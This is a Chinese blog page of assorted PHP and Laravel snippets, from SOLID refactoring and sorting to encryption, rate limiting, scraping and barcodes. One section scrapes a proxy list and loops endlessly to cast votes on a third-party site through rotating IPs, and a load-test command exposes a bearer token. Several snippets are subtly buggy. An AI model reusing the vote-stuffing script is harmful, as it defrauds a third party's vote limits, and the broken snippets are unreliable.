​​​​ php 代码段 | 苏生不惑的博客

php 代码段

S.O.I.L.D 之单一职责

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php

namespace Acme\Reporting;

use Auth;
use DB;
use Exception;

class SalesReporter
{
/**
* 获取某个时间段的销售总额
*
* @param $startDate
* @param $endDate
*
* @return string
*/
public function between($startDate, $endDate) : string
{
if (! Auth::check()) {
throw new Exception('Authentication required for reporting');
}

$sales = $this->queryDBForSalesBetween($startDate, $endDate);
return $this->format($sales);
}

/**
* 查询销售报表数据
*
* @param $startDate
* @param $endDate
*
* @return float
*/
protected function queryDBForSalesBetween($startDate, $endDate) : float
{
return DB::table('sales')->whereBetween('created_at', [$startDate, $endDate])->sum('charge') / 100;
}

/**
* 数据展示
*
* @param $sales
* @return string
*/
protected function format($sales) : string
{
return "<h1>Sales: $sales</h1>";
}
}
测试

$report = new Acme\Reporting\SalesReporter();
$report->between(
now()->subDays(10),
now()
);
该例子明显违反了单一职责:

授权方式发生变化时,如 API 授权,需要改动该类
当数据库层发生变化时候,如使用 Redis 时,需要改动该类
当展示方式发生变化时,需要改动该类
正面示例

对于上述的例子,应当作出如下的改动:

不需要关心用户授权,用户授权与本类的职责无关
数据层应当剥离出来
展示层应当剥离出来
<?php

// 展示层接口
interface SalesOutputInterface {
public function output();
}

// 展示层实现
class HtmlOutput implements SalesOutputInterface {
public function output($sales)
{
echo "<h1>{$sales}</h1>";
}
}

// 数据层
class SalesRepository {
public function between()
{
return DB::table('sales')->whereBetween('create_at', [$startDate, $endDate])->sum('charge') / 100;
}
}

// 职责类
class SalsReporter {

public $repo;

public function __construct($repo)
{
$this->repo = $repo;
}

public function between($startDate, $endDate, SalesOutputInterface $formater)
{
$sales = $this->repo->between($startDate, $endDate);
$formater->output($sales);
}
}
测试

$report = new SalsReporter(new SalesRepository);
$report->between(
now->subDays(10),
now(),
new HtmlOutput
);
结合 Laravel 的依赖注入,可以进一步简化https://learnku.com/articles/27923#topnav

class SalsReporter {

public $repo;

public function __construct(SalesRepository $repo)
{
$this->repo = $repo;
}

public function between($startDate, $endDate, SalesOutputInterface $formater)
{
$sales = $this->repo->between($startDate, $endDate);
$formater->output($sales);
}
}

字节转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
/**
* 转化内存信息https://github.com/yiranzai/php-tools
* @param $bytes
* @param bool $binaryPrefix
* @return string
*/
public static function getNiceFileSize(int $bytes, bool $binaryPrefix = true): string
{
if ($binaryPrefix) {
$unit = array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB');
if ($bytes === 0) {
return '0 ' . $unit[0];
}
return @round($bytes / (1024 ** ($i = floor(log($bytes, 1024)))), 2) . ' ' . ($unit[(int)$i] ?? 'B');
}

$unit = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
if ($bytes === 0) {
return '0 ' . $unit[0];
}
return @round($bytes / (1000 ** ($i = floor(log($bytes, 1000)))), 2) . ' ' . ($unit[(int)$i] ?? 'B');
}
/**
* 四舍五入 格式化除法
* @param $divisor
* @param $divided
* @param int $scale
* @return int|string
*/
public static function formatDiv($divisor, $divided, int $scale = 2)
{
if (empty((int)$divided)) {
return sprintf('%.' . $scale . 'f', 0);
}
return $scale === 0 ?
bcdiv($divisor, $divided) :
sprintf('%.' . $scale . 'f', bcdiv($divisor, $divided, $scale + 1));
}
/**
* 求两个数的最大公约数
*
* @param $a
* @param $b
* @return int
*/
public static function gcd(int $a, int $b): int
{
if ($a === 0 || $b === 0) {
return abs(max(abs($a), abs($b)));
}

$r = $a % $b;
return ($r !== 0) ?
self::gcd($b, $r) :
abs($b);
}

/**
* 求一个数组的最大公约数
*
* @param array $array
* @param int $a
* @return int
*/
public static function gcdArray(array $array, $a = 0): int
{
$b = array_pop($array);
return ($b === null) ?
(int)$a :
self::gcdArray($array, self::gcd($a, $b));
}

/**
* 每次都取中间的那个数,遍历数组,比它大放右边,比它小放左边 快速排序
*
* @param array $array
* @return array
*/
public static function quickSort(array $array): array
{
$len = count($array);
if ($len <= 1) {
return $array;
}
$m = $len >> 1;//取中间值 50>>1 25 51>>1 25 52>>1 26
$mValue = $array[$m];
$left = $right = [];
foreach ($array as $key => $iValue) {
if ($key === $m) {
continue;
}
if ($iValue < $mValue) {
$left[] = $iValue;
} else {
$right[] = $iValue;
}
}
return array_merge(self::quickSort($left), [$mValue], self::quickSort($right));
}

public static function quick($arr){
if(count($arr)<=1){ //如果数组根本就一个元素就直接返回 不用在排序咯
return $arr;
}

$k=$arr[0];//定义一个初始要排序的值 默认为数组第一个
$x=array();//定义比要排序的值 小的数组块
$y=array();//定义比要排序的值 大的数组块
$_size=count($arr);//统计数组的大小
for($i=1;$i<$_size;$i++){//循环数组 记住这边要从索引1 开始
if($arr[$i]<=$k){//如果当前的值小于 要排序的值
$x[]=$arr[$i];//就把小于的值放到 小的数组块中
}elseif($arr[$i]>$k){//如果当前的值大于 要排序的值
$y[]=$arr[$i];//就把大于的值放到 大的数组块中
}
}
$x=Sort::quick($x);//依次递归执行 这样就会得到小的数组块
$y=Sort::quick($y);//依次递归执行 这样就会得到大的数组块
return array_merge($x,array($k),$y);//最后在合并下 小的模块+中间的模块【初始要排序的值】+大的模块 就ok~
}

php多线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// 继承 Thread 的类具有创建线程的能力
class Request extends Thread
{
private $sql;

private $dsn;

public function __construct($sql, $dsn)
{
$this->sql = $sql;
$this->dsn = $dsn;
}

public function run()
{
$db = new PDO($this->dsn);

$stat1 = $db->query($this->sql);

$result = $stat1->fetchAll(PDO::FETCH_ASSOC);

print_r($result);
}
}

$dsn = 'sqlite:/tmp/pselect.db';
$db = new PDO($dsn);

$db->exec('create table users(id int, name varchar(255))');
$db->exec('create table books(id int, name varchar(255))');

//$db->exec("insert into users(id, name) values(1, '张三')");
//$db->exec("insert into users(id, name) values(2, '李四')");

//$db->exec("insert into books(id, name) values(1, '三国')");
//$db->exec("insert into books(id, name) values(2, '水浒')");

$sql = [
'select * from users',
'select * from books',
];

//$stat1 = $db->query($sql[0]);
//$stat2 = $db->query($sql[1]);

//$results1 = $stat1->fetchAll(PDO::FETCH_ASSOC);
//$results2 = $stat2->fetchAll(PDO::FETCH_ASSOC);

//print_r($results1);
//print_r($results2);

$arr = [];
for ($i = 0; $i < 2; $i++) {
$request = new Request($sql[$i], $dsn);
$arr[$i] = $request;
// 创建新线程,随后线程会执行 run 方法
if (! $request->start()) {
die("Start thread failed\n");
}
echo "Thread({$i}) started\n";
}

for ($i = 0; $i < 2; $i++) {
// join 是阻塞的,所以脚本运行时间取决于耗时最长的线程
if (! $arr[$i]->join()) {
die("Join failed\n");
}
}
https://learnku.com/articles/26812
public static function select($array){
$count=count($array);//取出数组的总长度
for($i=0;$i<$count-1;$i++){//外部循环 依次循环
/* 找出最小的元素 开始*/
$min=$i;//查找到最低的元素
for($j=$i+1;$j<$count;$j++){
//由小到大排列
if($array[$min]>$array[$j]){//如果当前的元素比后面的元素大
$min=$j;//就把最小的元素指针替换成后面元素
}
}
/* 找出最小的元素 结束*/选择排序

/*swap$array[$i]and$array[$min]即将当前内循环的最小元素放在$i位置上*/
if($min!=$i){//如果找出的最小的元素不在当前的循环的索引位置
$temp=$array[$min];//当前元素存储临时变量
$array[$min]=$array[$i];//把最小位置上的元素替换成当前的元素
$array[$i]=$temp;//把当前的元素替换成最小的元素
}
}
return $array;
}
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "查找到匹配的字符串 php。";
} else {
echo "未发现匹配的字符串 php。";
}

大文件传输解决方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function sliceDownload()
{

$path = 'slice/'.date('Ymd') ;

$filename = $path .'/'. '周杰伦 - 黑色幽默 [mqms2].mp3' ;

//获取文件资源https://learnku.com/articles/31108
$file = Storage::disk('admin')->readStream($filename);

//获取文件大小
$fileSize = Storage::disk('admin')->size($filename);

header("Content-type:application/octet-stream");//设定header头为下载
header("Accept-Ranges:bytes");
header("Accept-Length:".$fileSize);//响应大小
header("Content-Disposition: attachment; filename=周杰伦 - 黑色幽默 [mqms2].mp3");//文件名

//不设置的话要等缓冲区满之后才会响应
ob_end_clean();//缓冲区结束
ob_implicit_flush();//强制每当有输出的时候,即刻把输出发送到浏览器\
header('X-Accel-Buffering: no'); // 不缓冲数据

$limit=1024*1024;
$count=0;

//限制每秒的速率
while($fileSize-$count>0){//循环读取文件数据
$data=fread($file,$limit);
$count+=$limit;
echo $data;//输出文件
sleep(1);
}

}

PHP 生成奖状

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ob_clean();
$realname = "姓名:最闲的码农";
$schoolname = "社区:Laravel";

$image = imagecreatefrompng('1562926506930.png'); //书模版图片文件的路径 必须是png格式的文件
$red = imagecolorallocate($image,00,00,00); // 字体颜色
// imageTTFText("Image", "Font Size", "Rotate Text", "Left Position","Top Position", "Font Color", "Font Name", "Text To Print");
//根据文本填写的位置不同https://learnku.com/articles/31120
//"Left Position 和 Top Position 可以使用 getimagesize进行配合计算文字x和y轴坐标
imageTTFText($image, 50, 0, 628, 615, $red, 'simheittf.ttf',$realname);
imageTTFText($image, 50, 0, 628, 714, $red, 'simheittf.ttf', $schoolname);
header('Content-type: image/png;');
ImagePng($image);
imagedestroy($image);
$filename = 'certificate_aadarsh.png';
ImagePng($image, $filename);
imagedestroy($image);

Composer install 报错

1
2
3
4
5
6
7
8
9
10
11
Finished: success: 62, skipped: 0, failure: 0, total: 62
Package operations: 62 installs, 0 updates, 0 removals
- Installing kylekatarnls/update-helper (1.1.1): Loading from cache
Plugin installation failed, rolling back
- Removing kylekatarnls/update-helper (1.1.1)

[RuntimeException]
Could not delete /home/vagrant/code/w2_support-/vendor/kylekatarnls/update-helper/src/
UpdateHelper:
composer install --no-plugins
我的问题解决了.!https://learnku.com/laravel/t/31137

PHP-FPM 与 Nginx 的通信机制总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PHP-FPM 即 PHP-FastCGI Process Manager, 它是 FastCGI 的实现,并提供了进程管理的功能。进程包含 master 进程和 worker 进程两种;master 进程只有一个,负责监听端口,接收来自服务器的请求,而 worker 进程则一般有多个(具体数量根据实际需要进行配置),每个进程内部都会嵌入一个 PHP 解释器,是代码真正执行的地方
https://learnku.com/articles/23694

www.test.com
|
|
Nginx
|
|
路由到 www.test.com/index.php
|
|
加载 nginx 的 fast-cgi 模块
|
|
fast-cgi 监听 127.0.0.1:9000 地址
|
|
www.test.com/index.php 请求到达 127.0.0.1:9000
|
|
等待处理...

Laravel 报错:PHP Fatal error: Uncaught ReflectionException: Class request does not exist

1
2
3
4
在 App\Exceptions\Handler::report() 方法里,使用:

dd($exception);
即可打印更详细的报错信息,知道问题在哪https://learnku.com/laravel/t/31178

JSON 响应出现浮点小数溢出

1
2
3
4
5
调整 php.ini 中 serialize_precision (序列化精度) 的大小来解决这个问题。

默认值 serialize_precision = -1
将这个值改为 小于 17 的数字就解决了这个问题,最后一直往小调,我 14 的时候就没有问题了
https://wiki.php.net/rfc/precise_float_value https://learnku.com/articles/31194

原码、反码、补码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
正数的原码、反码、补码都一样

负数的反码 = 它的原码符号位不变,其他取反(0->1 , 1->0

负数的补码 = 它的反码 + 1

1 ==> 原码 [0000 0001] 反码[0000 0001] 补码[0000 0001]

-1 ==> 原码 [1000 0001] 反码[1111 1110] 补码[1111 1111]
0 的反码,补码都是 0

在计算机运算的时候,都是以补码的方式来计算的

1+1 1-1 = 1+(-1
按位与 & : 两位全为1,结果为 1,否则为 0

按位或 | : 两位有一个为 1,结果为 1,否则为 0

按位异或 ^ : 两位一个为 0, 一个为 1,结果为 1,否则为 0
//2&3
//2的补码 0000 0010
//3的补码 0000 0011
//2&3 0000 0010 =>2
//2|3 0000 0011 =>3
//2^3 0000 0001 =>1

//-2^2
//-2的原码 1000 0010
//-2的反码 1111 1101
//-2的补码 1111 1110

//2 的补码 0000 0010

//-2^2
//-2的补码 1111 1110
//2 的补码 0000 0010
//-2^2 1111 1100 (补码)
//-2^2 1111 1011 (反码)
//-2^2 1000 0100 (原码) => 4

https://learnku.com/articles/31179

APP_KEY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
只有一个地方会用到 APP_KEY:cookies。Laravel 使用它来加密所有的 cookies,在将 cookie 返回给用户之前 Laravel 会对 cookie 进行加密,然后再返回给用户,这样客户端就无法自己修改 cookie 来伪装成管理员或者其他用户了。

所以的加密和解密都在 [Encrypter](https://learnku.com/docs/laravel/master/encryption#using-the-encrypter) 中进行处理,其中主要使用了 [openssl_encrypt](https://secure.php.net/manual/en/function.openssl-encrypt.php) 进行加密。

有很多用户都会有一个误解,那就是 APP_KEY 是用来处理用户哈希密码的。事实上不是这样的。Laravel 的密码使用了 Hash::make() 或者 bcrypt() 来进行哈希处理,其中并没有用到 APP_KEY
在 Laravel 中有两个主要的加密 Facade,分别是 Crypt(对称加密) 和 Hash(单向加密哈希)。密码是哈希,而 cookie 则是对称加密。
$key = "dont-panic";
$message = "So long and thanks for all the fish";
$key = "dont-panic";
$cipher = "AES-256-CBC";
echo openssl_encrypt($message, $cipher, $key);

// JJEK8L4G3BCfY0evXDRxUke2zqAzq6i7wL/Px4SjaEHXqt3x7hsj4+PhVQaH4ujX

$secret = "JJEK8L4G3BCfY0evXDRxUke2zqAzq6i7wL/Px4SjaEHXqt3x7hsj4+PhVQaH4ujX";
$key = "dont-panic";
$cipher = "AES-256-CBC";
echo openssl_decrypt($secret, $cipher, $key);

// So long and thanks for all the fish
Laravel 中使用了 PHP 的原生方法 password_hash(),它使用的哈希算法叫 bcrypt。

use Illuminate\Support\Facades\Hash;

$password = "dont-panic";
echo Hash::make($password);

// $2y$10$hEEF0lv4spxnvw5O4XyLZ.QjCE1tCu8HjMpWhmCS89J0EcSW0XELu
$hash = '$2y$10$hEEF0lv4spxnvw5O4XyLZ.QjCE1tCu8HjMpWhmCS89J0EcSW0XELu';
return Hash::check($input, $hash); https://learnku.com/articles/31169


// 加密算法
1. $encryptMethod = 'aes-256-cbc';
// 明文数据
2. $data = 'Hello World';

// 生成IV
3. $ivLength = openssl_cipher_iv_length($encryptMethod);
4. $iv = openssl_random_pseudo_bytes($ivLength, $isStrong);
5. if (false === $iv && false === $isStrong) {
6. die('IV generate failed');
7. }

// 加密
8. $encrypted = openssl_encrypt($data, $encryptMethod, 'secret', 0, $iv);
// 解密
9. $decrypted = openssl_decrypt($encrypted, $encryptMethod, 'secret', 0, $iv);

PHP 识别相片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PHP 识别相片是否是颠倒的,并且重新摆正相片https://learnku.com/articles/31235
$image = imagecreatefromstring(file_get_contents($_FILES['image_upload']['tmp_name']));
$exif = exif_read_data($_FILES['image_upload']['tmp_name']);
if(!empty($exif['Orientation'])) {
switch($exif['Orientation']) {
case 8:
$image = imagerotate($image,90,0);
break;
case 3:
$image = imagerotate($image,180,0);
break;
case 6:
$image = imagerotate($image,-90,0);
break;
}
}

Composer 镜像限额,出现要求用户名认证

1
2
3
4
从 GitHub 下载 Zip 代码包而不是 CDN:https://learnku.com/articles/30415

$ composer install --prefer-source
不要在框架的 composer.json 里写死了源

AB 压测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ab -c 20 -t 10 -k  -T "application/json" -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvd3d3LnpoemhlLmNvbSIsImlhdCI6MTU2MzE4MjA1OCwiZXhwIjoxNTY2MzM1NjU5LCJuYmYiOjE1NjMxODIwNTksImp0aSI6IlRiYXR5amhpMGJ6eHRNeEciLCJzdWIiOjEsInBydiI6Ijg3ZTBhZjFlZjlmZDE1ODEyZmRlYzk3MTUzYTE0ZTBiMDQ3NTQ2YWEifQ.PV-S7b_fbSPgtAk-6r-cDqGkoFL-UOsGJWVfQUV6p5E"   http://ys.test/api/articles
https://learnku.com/laravel/t/31291
public function handle($request, Closure $next, $maxAttempts = 60, $decayMinutes = 1)
{
$key = $this->resolveRequestSignature($request);
$maxAttempts = $this->resolveMaxAttempts($request, $maxAttempts);
if ($this->limiter->tooManyAttempts($key, $maxAttempts)) {
throw $this->buildException($key, $maxAttempts);
}

$this->limiter->hit($key, $decayMinutes);

$response = $next($request);

return $this->addHeaders(
$response, $maxAttempts,
$this->calculateRemainingAttempts($key, $maxAttempts)
);
}
ThrottleRequests 中间件中 601 的意思是一分钟限制 60 次。 把客户端请求的请求源 ip 啥的,加密成 1 个 key(代表一个独立的请求对象),存储在缓存中,如果一分钟内超过这个限制,那么服务器就抛出 429: Too Many Attempts.
并且在头部回传两个个响应头: X-RateLimit-Limit(限制次数), X-RateLimit-Remaining (剩下多少次)

php爬虫框架Goutte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
composer require fabpot/goutte
use Goutte\Client;
$client = new Client();
使用request()方法发起页面请求

// Go to the symfony.com website
$crawler = $client->request('GET', 'https://www.symfony.com/blog/');
该方法会返回一个Crawler对象(Symfony\Component\DomCrawler\Crawler).

Goutte依赖Guzzle,如果要自己配置Guzzle参数的话你可以为Goutte创建一个Guzzle实例,下面我们要做一个60秒请求超时时间,并且无需验证ssl的设定:

use Goutte\Client;
use GuzzleHttp\Client as GuzzleClient;

$goutteClient = new Client();
$guzzleClient = new GuzzleClient(array(
'timeout' => 60,
'verify' => false, //官方example中没有这项,这个还是很必要的,不然在请求有些https站点的时候会出错,我已填坑
));
$goutteClient->setClient($guzzleClient);
点击链接

// Click on the "Security Advisories" link
$link = $crawler->selectLink('Security Advisories')->link();
$crawler = $client->click($link);
提取数据

// Get the latest post in this category and display the titles
$crawler->filter('h2 > a')->each(function ($node) {
print $node->text()."\n";
});
表单提交https://towait.com/blog/php-web-crawler-goutte/

$crawler = $client->request('GET', 'https://github.com/');
$crawler = $client->click($crawler->selectLink('Sign in')->link());
$form = $crawler->selectButton('Sign in')->form();
$crawler = $client->submit($form, array('login' => 'fabpot', 'password' => 'xxxxxx'));
$crawler->filter('.flash-error')->each(function ($node) {
print $node->text()."\n";
});

防恶意频繁提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
/**
* 获取和校验ip;同时防止短时间内多次提交
*
* @notice :弹出验证码,需要替换掉echo $echo_str 即可。
* @return string :返回校验成功的ip
*/
protected function getAndCheckIP()
{

// 获取环境ip
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";

// check 环境ip
if (!$this->isWhiteList($ip)) {
$echo_str = "提交过于频繁,请稍后再试!";
// 构建ip的时间栈数据
if (!is_array($_SESSION[$ip])) {
$_SESSION[$ip] = array();
}

if (isset($_SESSION[$ip][0])) {
$_SESSION[$ip][] = time();

// session 保存时间为6小时。清理session
$post_interval_first = time() - $_SESSION[$ip][0];
if ($post_interval_first > 21600) {
$_SESSION[$ip] = array();
}

// 两次提交小于1s,禁止提交
$post_interval_pre = time() - $_SESSION[$ip][count($_SESSION[$ip]) - 3];
if ($post_interval_pre < 1) {
echo $echo_str;
exit;
};

// 您在10s内已经提交了3请求,禁止提交
$post_interval_third = time() - $_SESSION[$ip][count($_SESSION[$ip]) - 3];
if (isset($_SESSION[$ip][3]) && ($post_interval_third < 10)) {
echo $echo_str;
exit;
}

// 您在1分钟期间已经提交了5请求,禁止提交
$post_interval_fifth = time() - $_SESSION[$ip][count($_SESSION[$ip]) - 3];
if (isset($_SESSION[$ip][5]) && ($post_interval_fifth < 60)) {
echo $echo_str;
exit;
}

// 6小时内提交10次,禁止提交
if (isset($_SESSION[$ip][10])) {
echo $echo_str;
exit;
}
} else {
$_SESSION[$ip][] = time();
}
}

return ($ip);
}
/**
* 检验是否存在于白名单中
*
* @param $ip :校验的ip
* @return bool :校验结果
*/
function isWhiteList($ip){
/**
* 内网ip默认全部存在于白名单中
*/
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)){
return true;
}

// 是否在写死的whitelist 里面
return in_array($ip,$this->_WHTTE_LIST);
}

Goutte爬取 IP 代理池

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
function getProxyIPPool(){
$client = new Client();
$ipPoolUrl = 'https://proxy.coderbusy.com/';
$crawler = $client->request('GET', $ipPoolUrl);
$ipArr = $crawler->filter('table')->filter('tr')->each(function ($tr, $i) {
return $tr->filter('td')->each(function ($td, $i) {
return trim($td->text());

});
});

$newArr = [];
foreach ($ipArr as $key =>$value){
if ($key >0){
$newArr[$key-1] = $value[0].':'.$value[1];//这里就是 table 的第一列和第二列
}

}
$file = file_put_contents('ipPool.json', json_encode($newArr));

echo "更新代理 IP 尺完毕";
}
[
"13.59.33.106:3128",
"200.116.227.99:53281",
"190.232.168.242:8080"
]
function voteByIP ($ip, $port) {

$post_data = array ("bookid" => "102428");
$ch = curl_init("http://jljapi.manhuadao.cn/Vote/vote");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_PROXY,$ip);
curl_setopt($ch,CURLOPT_PROXYPORT,$port);
curl_setopt ($ch, CURLOPT_TIMEOUT, 1200);

$result = curl_exec($ch);
print_r($result.PHP_EOL);
curl_close($ch);
}
$ipPoolArr = json_decode(file_get_contents('ipPool.json'));

foreach ($ipPoolArr as $key=>$proxyStr){
$ip = $proxyArr[0];
$port = $proxyArr[1];

voteByIP($ip, $port)
}
#!/bin/bash

for((i=1;i<=99999999999999999999999999999999999999;i++));
do
php autoVote.php

//还可以执行其他的操作,例如 php getIPPool.php 来更新代理 IP 池 https://qimajiang.com/2017/11/18/%E4%BD%BF%E7%94%A8%20Goutte%E7%88%AC%E5%8F%96%E4%BB%A3%E7%90%86%20IP%20%E6%B1%A0/
done

微软小冰接口的颜值检测

1
2
3
4
5
6
7
8
9
10
11
12
13
$face = new \Hanson\Face\Foundation\Face();

$result = $face->score->get('https://ws2.sinaimg.cn/large/685b97a1gy1fehkmbi6hvj20u00u07ab.jpg');

/**https://github.com/HanSon/face

[
'score' => 6.8,
'text' => '哥们颜值才6.8分,一下让整体颜值从7.3跌到7.1ORZ',
'url' => 'http://mediaplatform.trafficmanager.cn/image/fetchimage?key='
];

**/

php-fpm max_children 优化

1
2
3
4
5
6
7
 ps -ylef --sort:rss 此命令可以查看当前服务器所有的进程以及占用内存,留意 RSS 那列就是占用的内存数 http://hanc.cc/index.php/archives/179/
S UID PID PPID C PRI NI RSS SZ WCHAN STIME TTY TIME CMD
S root 2 0 0 80 0 0 0 kthrea May05 ? 00:00:00 [kthreadd]
S finance 16670 16668 0 80 0 7424 91470 inet_c Jul16 ? 00:00:00 php-fpm: pool www
S root 16668 1 0 80 0 8184 91470 ep_pol Jul16 ? 00:00:04 php-fpm: master process (/data0/opt/php55/etc/php-fpm.conf)
S root 16677 1 0 80 0 8932 98194 ep_pol Jul16 ? 00:00:09 php-fpm: master process (/data0/opt/php7/etc/php-fpm.conf)
S root 16714 1 0 80 0 11140 97479 ep_pol Jul16 ? 00:00:04 php-fpm: master process (/data0/opt/php54/etc/php-fpm.conf)

使用多个同一数据库驱动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
新项目需要连接两个mysql数据库,然而却出现无论如何也查询不了第二个数据库的情况。

经历了多次断点调试,google无止境搜索,询问印度阿三无果的情况下,也只能查看源码解决问题了。

最终发现在laravel的ConnectionFactory类的createConnection方法中有这么一段

protected function createConnection($driver, $connection, $database, $prefix = '', array $config = [])
{
if ($this->container->bound($key = "db.connection.{$driver}")) {
return $this->container->make($key, [$connection, $database, $prefix, $config]);
}

switch ($driver) {
case 'mysql':
return new MySqlConnection($connection, $database, $prefix, $config);
case 'pgsql':
return new PostgresConnection($connection, $database, $prefix, $config);
case 'sqlite':
return new SQLiteConnection($connection, $database, $prefix, $config);
case 'sqlsrv':
return new SqlServerConnection($connection, $database, $prefix, $config);
}

throw new InvalidArgumentException("Unsupported driver [$driver]");
}
$this->container->bound($key = "db.connection.{$driver}") 通过driver去跟容器做了绑定,也就是当你有第二个一样driver的数据库时,调用 $this->container->make()方法也会同样返回第一个绑定的 connection,这样无论如何也只能查询第一个了。http://hanc.cc/index.php/archives/153/

修改后

if ($this->container->bound($key = "db.connection.{$driver}.{$config['name']}")) {
return $this->container->make($key, [$connection, $database, $prefix, $config]);
}
通过传入connection自定义的名称,能够避免重复

PHP的MD5加密与JAVA的MD5加密不一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
android端正确的MD5加密代码

public static String md5(byte[] source) {
try{
MessageDigest md = MessageDigest.getInstance("MD5");
md.update( source );
StringBuffer buf=new StringBuffer();
for(byte b:md.digest())
buf.append(String.format("%02x", b&0xff) );
return buf.toString();
}catch( Exception e ){
e.printStackTrace(); return null;
}
}
从代码可以看出,这里传入的参数是byte[],而不是String,这里就需要事先对需要加密的字符串转成

字节,便用到一个方法getBytes(Charset.forName("UTF-8"))http://hanc.cc/index.php/archives/14/

生成条形码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
composer require codeitnowin/barcode
namespace App\Http\Controllers;

use Illuminate\Http\Request;

use CodeItNow\BarcodeBundle\Utils\BarcodeGenerator;
use CodeItNow\BarcodeBundle\Utils\QrCode;

class BarCodeController extends Controller
{
public function index()
{

echo '<p>Example - QrCode</p>';
$qrCode = new QrCode();
$qrCode
->setText('https://www.php.net/manual/zh/')
->setSize(300)
->setPadding(10)
->setErrorCorrection('high')
->setForegroundColor(array('r' => 0, 'g' => 0, 'b' => 0, 'a' => 0))
->setBackgroundColor(array('r' => 255, 'g' => 255, 'b' => 255, 'a' => 0))
->setLabel('https://www.php.net/')
->setLabelFontSize(16)
->setImageType(QrCode::IMAGE_TYPE_PNG);
echo '<img src="data:' . $qrCode->getContentType() . ';base64,' . $qrCode->generate() . '" />';

echo '<hr>';
echo '<p>Example - Code128</p>';
$barcode = new BarcodeGenerator();
$barcode->setText("0123456789");
$barcode->setType(BarcodeGenerator::Code128);
$barcode->setScale(2);
$barcode->setThickness(25);
$barcode->setFontSize(10);
$code = $barcode->generate();
